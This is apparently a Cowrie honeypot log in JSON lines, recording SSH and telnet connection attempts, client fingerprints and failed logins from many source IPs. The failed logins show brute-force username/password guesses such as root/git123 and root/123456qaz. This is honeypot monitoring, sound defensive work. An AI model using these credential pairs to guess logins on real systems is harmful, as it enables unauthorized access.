{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57746,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8acd097bee9","protocol":"telnet","message":"New connection: 152.42.224.71:57746 (10.17.0.5:23) [session: c8acd097bee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:18.803898Z"}
{"eventid":"cowrie.session.closed","duration":110.79963898658752,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:22.953005Z","src_ip":"152.42.224.71","session":"115d27a69396","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.091435432434082,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:25.146666Z","src_ip":"152.42.224.71","session":"2a62a3458880","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00218915939331,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:26.045942Z","src_ip":"152.42.224.71","session":"f2b004b2495c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":50122,"dst_ip":"159.203.135.109","dst_port":22,"session":"f64ba01d7af3","protocol":"ssh","message":"New connection: 191.96.110.121:50122 (159.203.135.109:22) [session: f64ba01d7af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:26.186873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:26.299531Z","src_ip":"191.96.110.121","session":"f64ba01d7af3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39656,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eee7471891c","protocol":"telnet","message":"New connection: 152.42.224.71:39656 (10.17.0.5:23) [session: 1eee7471891c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:26.354863Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:26.383486Z","src_ip":"191.96.110.121","session":"f64ba01d7af3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.27404594421387,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:27.011998Z","src_ip":"152.42.224.71","session":"44d62fcfdcd9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"git123","message":"login attempt [root/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:29.391273Z","src_ip":"191.96.110.121","session":"f64ba01d7af3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:31.098212Z","src_ip":"191.96.110.121","session":"f64ba01d7af3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":47060,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc223376d591","protocol":"ssh","message":"New connection: 159.65.8.74:47060 (10.17.0.5:22) [session: dc223376d591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:42.242895Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":60690,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e071d43e280","protocol":"ssh","message":"New connection: 43.130.38.88:60690 (159.203.135.109:22) [session: 0e071d43e280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:42.267360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:42.272399Z","src_ip":"43.130.38.88","session":"0e071d43e280","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:42.302106Z","src_ip":"159.65.8.74","session":"dc223376d591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:42.341339Z","src_ip":"43.130.38.88","session":"0e071d43e280","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:42.535645Z","src_ip":"159.65.8.74","session":"dc223376d591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"autumn","password":"123456","message":"login attempt [autumn/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:42.681934Z","src_ip":"43.130.38.88","session":"0e071d43e280","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00168418884277,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:43.115917Z","src_ip":"152.42.224.71","session":"b50a718820fe","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"smile321","message":"login attempt [root/smile321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:43.487161Z","src_ip":"159.65.8.74","session":"dc223376d591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:43.752646Z","src_ip":"43.130.38.88","session":"0e071d43e280","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:44.730060Z","src_ip":"159.65.8.74","session":"dc223376d591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.315752029418945,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:45.710080Z","src_ip":"152.42.224.71","session":"feda0ee6c72a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55972,"dst_ip":"10.17.0.5","dst_port":23,"session":"441d598a2ad4","protocol":"telnet","message":"New connection: 152.42.224.71:55972 (10.17.0.5:23) [session: 441d598a2ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:48.875014Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55986,"dst_ip":"10.17.0.5","dst_port":23,"session":"f04287bffaa0","protocol":"telnet","message":"New connection: 152.42.224.71:55986 (10.17.0.5:23) [session: f04287bffaa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:52.489715Z"}
{"eventid":"cowrie.session.closed","duration":35.77427625656128,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:54.578054Z","src_ip":"152.42.224.71","session":"c8acd097bee9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41832,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3672a344f6c","protocol":"telnet","message":"New connection: 152.42.224.71:41832 (10.17.0.5:23) [session: a3672a344f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:56.456427Z"}
{"eventid":"cowrie.session.closed","duration":37.13113594055176,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:03.485921Z","src_ip":"152.42.224.71","session":"1eee7471891c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":45044,"dst_ip":"10.17.0.5","dst_port":22,"session":"002576d29ca4","protocol":"ssh","message":"New connection: 181.47.9.103:45044 (10.17.0.5:22) [session: 002576d29ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:06.141955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:06.146194Z","src_ip":"181.47.9.103","session":"002576d29ca4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:06.289005Z","src_ip":"181.47.9.103","session":"002576d29ca4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qaz","message":"login attempt [root/123456qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:06.892180Z","src_ip":"181.47.9.103","session":"002576d29ca4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:08.038213Z","src_ip":"181.47.9.103","session":"002576d29ca4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":37894,"dst_ip":"159.203.135.109","dst_port":22,"session":"55629c869221","protocol":"ssh","message":"New connection: 43.133.34.13:37894 (159.203.135.109:22) [session: 55629c869221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:08.837718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:08.842256Z","src_ip":"43.133.34.13","session":"55629c869221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:09.087463Z","src_ip":"43.133.34.13","session":"55629c869221","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"subsonic","message":"login attempt [root/subsonic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:10.100683Z","src_ip":"43.133.34.13","session":"55629c869221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:11.350181Z","src_ip":"43.133.34.13","session":"55629c869221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":51496,"dst_ip":"159.203.135.109","dst_port":22,"session":"777d89279767","protocol":"ssh","message":"New connection: 37.143.61.241:51496 (159.203.135.109:22) [session: 777d89279767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:14.461583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:14.466683Z","src_ip":"37.143.61.241","session":"777d89279767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:14.552319Z","src_ip":"37.143.61.241","session":"777d89279767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vilma","message":"login attempt [root/vilma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:14.925886Z","src_ip":"37.143.61.241","session":"777d89279767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:16.019082Z","src_ip":"37.143.61.241","session":"777d89279767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":59214,"dst_ip":"159.203.135.109","dst_port":22,"session":"564720cb6770","protocol":"ssh","message":"New connection: 43.153.31.20:59214 (159.203.135.109:22) [session: 564720cb6770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:16.254935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:16.260532Z","src_ip":"43.153.31.20","session":"564720cb6770","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:16.329923Z","src_ip":"43.153.31.20","session":"564720cb6770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test","message":"login attempt [test1/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:16.635109Z","src_ip":"43.153.31.20","session":"564720cb6770","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":33982,"dst_ip":"10.17.0.5","dst_port":22,"session":"01daf7fd3ddb","protocol":"ssh","message":"New connection: 192.169.250.238:33982 (10.17.0.5:22) [session: 01daf7fd3ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:16.981652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:16.985895Z","src_ip":"192.169.250.238","session":"01daf7fd3ddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-g